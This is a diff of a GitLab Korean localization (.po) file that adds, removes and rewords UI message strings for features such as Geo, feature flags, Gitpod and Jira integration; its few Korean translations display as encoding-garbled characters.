+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr "Feature 플래그"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr "수정ë¨:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "다른 프로ì íŠ¸ì—ì„œ í¬í¬ë¨: "
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "ì•Œ 수 없는 ìƒíƒœ"
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "í™•ì¸ ì‹¤íŒ¨- %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,17 +15232,20 @@ msgstr ""
msgid "Gitpod"
msgstr "Gitpod"
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr "Gitpod URL"
-msgid "Gitpod|e.g. https://gitpod.example.com"
-msgstr "예: https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
+msgstr ""
msgid "Given access %{time_ago}"
msgstr "%{time_ago} ì „ 엑세스 권한 부여ë¨"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr "그룹 정보:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr "ê·¸ë£¹ì´ ì—†ìŠµë‹ˆë‹¤."
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "그룹 구성ì›ì˜ 사용 ê¶Œí•œì„ ê´€ë¦¬í•˜ê³  ê·¸ë£¹ì˜ ê° í”„ë¡œì íŠ¸ì— ì ‘ê·¼ í•  수 있습니다."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr "머릿글 메시지"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr "페ì´ë¡œë“œ 숨기기"
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "값 숨기기"
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "ì´ë ¥"
@@ -16171,9 +16407,24 @@ msgstr "비밀번호를 잊었습니다."
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "뒤로"
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "ì´ìŠˆ ë³´ë“œ"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr "ì´ìŠˆëŠ” 버그, ìž‘ì—… í˜¹ì€ ë…¼ì˜í•  ì•„ì´ë””ì–´ì¼ ìˆ˜ 있습니ë
msgid "Issues closed"
msgstr "ì´ìŠˆ 닫힘"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Jobs"
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr "Kubernetes í´ëŸ¬ìŠ¤í„° í†µí•©ì´ ì œê±°ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ê°€ 성공ì ìœ¼ë¡œ ì—…ë°ì´íŠ¸ë˜ì—ˆìŠµë‹ˆë‹¤."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "ë¼ì´ì„¼ìŠ¤"
@@ -19558,8 +19929,8 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
-msgstr "웹 IDE 기능 관리"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "액세스 관리"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr "머지 리퀘스트(MR)"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr "머지 커밋 수정"
msgid "Monday"
msgstr "월요ì¼"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "새 ë¼ë²¨ ì´ë¦„ 지정"
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr "ì—†ìŒ"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
